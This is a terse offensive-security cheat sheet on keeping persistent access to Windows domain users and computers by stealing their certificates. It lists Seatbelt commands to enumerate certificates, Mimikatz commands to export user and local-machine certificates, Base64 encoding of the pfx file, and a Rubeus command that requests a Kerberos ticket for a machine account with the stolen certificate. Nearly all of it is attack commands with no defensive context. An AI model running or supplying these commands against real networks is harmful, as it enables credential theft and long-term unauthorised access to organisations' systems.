User & Computer Persistance

Certificates can also be useful for maintaining persistent access to both users and computers.

User Persistance

Enumerate certificates

Seatbelt.exe Certificates

Always ensure the certificate is used for client authentication.

Mimikatz export

mimikatz crypto::certificates /export

download CURRENT_USER_My_0_Nina Lamb.pfx

Base64 encode the pfx file

cat /mnt/c/Users/Attacker/Desktop/CURRENT_USER_My_0_Nina\ Lamb.pfx | base64 -w 0

Rubeus to obtain a TGT

The export password will be mimikatz

If the user does not have a certificate in their store, we can just request one with Certify

Computer Persistance

Extract

mimikatz !crypto::certificates /systemstore:local_machine /export

\Rubeus.exe asktgt /user:WKSTN-1$ /enctype:aes256 /certificate:MIINCA[...]IH0A== /password:mimikatz /nowrap

/machine == auto elevate to SYSTEM